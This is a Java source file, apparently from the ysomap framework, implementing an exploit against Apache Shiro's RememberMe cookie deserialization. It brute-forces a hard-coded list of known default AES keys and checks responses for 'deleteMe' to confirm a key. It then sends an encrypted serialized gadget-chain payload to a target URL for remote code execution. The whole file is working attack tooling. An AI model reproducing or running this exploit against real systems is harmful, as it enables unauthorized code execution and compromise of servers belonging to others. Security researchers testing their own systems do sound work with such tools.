package ysomap.exploits.shiro;

import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.RequestBody;
import okhttp3.Response;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.serializer.SerializerFactory;
import ysomap.core.util.CipherHelper;
import ysomap.core.util.HTTPHelper;
import ysomap.core.util.PayloadHelper;
import ysomap.exploits.AbstractExploit;

import java.security.SecureRandom;
import java.util.Base64;
import java.util.List;

/**
 * TODO 对于echo类型，cookie的长度有限制 需要解决这个问题
 * @author wh1t3P1g
 * @since 2020/4/1
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {
        "CommonsBeanutils1",
        "CommonsCollections9",
        "RMIConnectWithUnicastRemoteObject", // 发起RMI连接
        "URLDNS",
        "JNDIRefWrapper",
        "RMIConnectWrapped",
        "RMIConnectWrappedWithProxy"
}, param = false)
@Details("Shiro框架RememberMe Cookie反序列化攻击包。\n" +
        "需要设置一个指定的payload，通常优先需使用CommonsBeanutils1或CommonsCollections9。")
public class ShiroRCE1 extends AbstractExploit {

    @Require(name = "key", detail = "设置shiro AES Key，如果为空，则使用默认key列表")
    public String key = null;

    @NotNull
    @Require(name = "target", detail = "目标url")
    public String target = null;

    @NotNull
    @Require(name = "requestMethod", detail = "GET or POST, default GET")
    public String requestMethod = "GET";

    @NotNull
    @Require(name = "postData", detail = "POST类型时，可填充特殊的post data")
    public String postData = "test=test";

    @NotNull
    @Require(name = "force", type="boolean", detail = "强制轮询默认的key列表")
    public String force = "false";

    @NotNull
    public Object payload;
    public String payloadName;

    @Override
    public void work() {
        boolean isNeedVerify = "false".equals(force);

        if(key == null){
            for(String current: DEFAULT_KEYS){
                if(isNeedVerify && verifyKey(current)){
                    Logger.success("Found Shiro Key: "+current);
                    key = current;
                    exploit(current);
                    return; // 找到key，并攻击
                }else if(!isNeedVerify){ // 对每一种默认的key尝试进行攻击
                    exploit(current);
                }
            }
            Logger.success("Finished");
        }else{
            Logger.success("Try to use provided Key: "+key);
            exploit(key);
        }
    }

    @Override
    public void stop() {
        status = Status.STOPPED;
    }

    public boolean verifyKey(String key){
        try{
            String encrypted = doEncrypt(key, PayloadHelper.makeSimplePrincipalCollection());
            Response response = send(encrypted);
            Logger.success("Try to verify key. Current key: "+key);
            Logger.success("Response: "+response.toString());
            Headers headers = response.headers();
            response.close();
            List<String> cookies = headers.values("Set-Cookie");
            for(String cookie:cookies){
                if(cookie.contains("rememberMe=deleteMe")){
                    return false;
                }
            }
            // 暂时仅对不存在deleteMe，且status code==200的包进行key的确认
            // 所以对于其他类型，比如仅能使用post的接口，不要使用这种方式
            // 可以采用强制模式，直接每一种key进行轮询
            if(response.code() == 200){
                return true;
            }
        }catch (Exception e){
            // something wrong
        }
        return false;
    }

    public void exploit(String key){
        try{
            String encrypted = doEncrypt(key, payload);
            Response response = send(encrypted);
            response.close();
            Logger.success("Try to exploit using key "+key);
            Logger.success("Response: "+response);
        } catch (Exception e) {
        }
    }

    public String doEncrypt(String key, Object obj) throws Exception {
        if(obj == null){
            obj = payload;
        }
        int ivSize = 16;
        byte[] ivBytes = new byte[ivSize];
        SecureRandom random = new SecureRandom();
        random.nextBytes(ivBytes);
        byte[] plainBytes = (byte[]) SerializerFactory.createSerializer("default").serialize(obj);
        byte[] keyBytes = Base64.getDecoder().decode(key);
        byte[] encrypted = CipherHelper.encrypt(plainBytes, keyBytes, ivBytes);
        if(encrypted != null){
            byte[] packed = new byte[ivSize + encrypted.length];
            System.arraycopy(ivBytes, 0, packed, 0, ivSize);
            System.arraycopy(encrypted, 0, packed, ivSize, encrypted.length);
            return Base64.getEncoder().encodeToString(packed);
        }
        return null;
    }

    public Response send(String cookie){
        cookie = "rememberMe="+cookie;
        Headers headers = new Headers.Builder().add("Cookie", cookie).build();
        if("POST".equals(requestMethod)){
            MediaType MEDIA_TYPE = MediaType.parse("text/text; charset=utf-8");
            RequestBody body = RequestBody.create(MEDIA_TYPE, postData+"&time="+System.currentTimeMillis());
            return HTTPHelper.post(target, body, headers);
        }else{
            return HTTPHelper.get(target, headers);
        }
    }

    private static String[] DEFAULT_KEYS = {
            "kPH+bIxk5D2deZiIxcaaaA==",
            "wGiHplamyXlVB11UXWol8g==",
            "2AvVhdsgUs0FSA3SDFAdag==",
            "4AvVhmFLUs0KTA3Kprsdag==",
            "3AvVhmFLUs0KTA3Kprsdag==",
            "Z3VucwAAAAAAAAAAAAAAAA==",
            "U3ByaW5nQmxhZGUAAAAAAA==",
            "wGiHplamyXlVB11UXWol8g==",
            "fCq+/xW488hMTCD+cmJ3aQ==",
            "1QWLxg+NYmxraMoxAXu/Iw==",
            "ZUdsaGJuSmxibVI2ZHc9PQ==",
            "L7RioUULEFhRyxM7a2R/Yg==",
            "6ZmI6I2j5Y+R5aSn5ZOlAA==",
            "r0e3c16IdVkouZgk1TKVMg==",
            "5aaC5qKm5oqA5pyvAAAAAA==",
            "bWluZS1hc3NldC1rZXk6QQ==",
            "a2VlcE9uR29pbmdBbmRGaQ==",
            "WcfHGU25gNnTxTlmJMeSpw==",
            "MTIzNDU2Nzg5MGFiY2RlZg==",
            "5AvVhmFLUs0KTA3Kprsdag==",
            "6ZmI6I2j3Y+R1aSn5BOlAA==",
            "SkZpbmFsQmxhZGUAAAAAAA==",
            "2cVtiE83c4lIrELJwKGJUw==",
            "fsHspZw/92PrS3XrPW+vxw==",
            "XTx6CKLo/SdSgub+OPHSrw==",
            "sHdIjUN6tzhl8xZMG3ULCQ==",
            "O4pdf+7e+mZe8NyxMTPJmQ==",
            "f/SY5TIve5WWzT4aQlABJA==",
            "HWrBltGvEZc14h9VpMvZWw==",
            "rPNqM6uKFCyaL10AK51UkQ==",
            "Y1JxNSPXVwMkyvES/kJGeQ==",
            "lT2UvDUmQwewm6mMoiw4Ig==",
            "MPdCMZ9urzEA50JDlDYYDg==",
            "xVmmoltfpb8tTceuT5R7Bw==",
            "c+3hFGPjbgzGdrC+MHgoRQ==",
            "ClLk69oNcA3m+s0jIMIkpg==",
            "Bf7MfkNR0axGGptozrebag==",
            "1tC/xrDYs8ey+sa3emtiYw==",
            "ZmFsYWRvLnh5ei5zaGlybw==",
            "cGhyYWNrY3RmREUhfiMkZA==",
            "IduElDUpDDXE677ZkhhKnQ==",
            "yeAAo1E8BOeAYfBlm4NG9Q==",
            "cGljYXMAAAAAAAAAAAAAAA==",
            "2itfW92XazYRi5ltW0M2yA==",
            "XgGkgqGqYrix9lI6vxcrRw==",
            "25BsmdYwjnfcWmnhAciDDg==",
            "ertVhmFLUs0KTA3Kprsdag==",
            "5AvVhmFLUS0ATA4Kprsdag==",
            "s0KTA3mFLUprK4AvVhsdag==",
            "hBlzKg78ajaZuTE0VLzDDg==",
            "9FvVhtFLUs0KnA3Kprsdyg==",
            "d2ViUmVtZW1iZXJNZUtleQ==",
            "yNeUgSzL/CfiWw1GALg6Ag==",
            "NGk/3cQ6F5/UNPRh8LpMIg==",
            "4BvVhmFLUs0KTA3Kprsdag==",
            "MzVeSkYyWTI2OFVLZjRzZg=="};
}
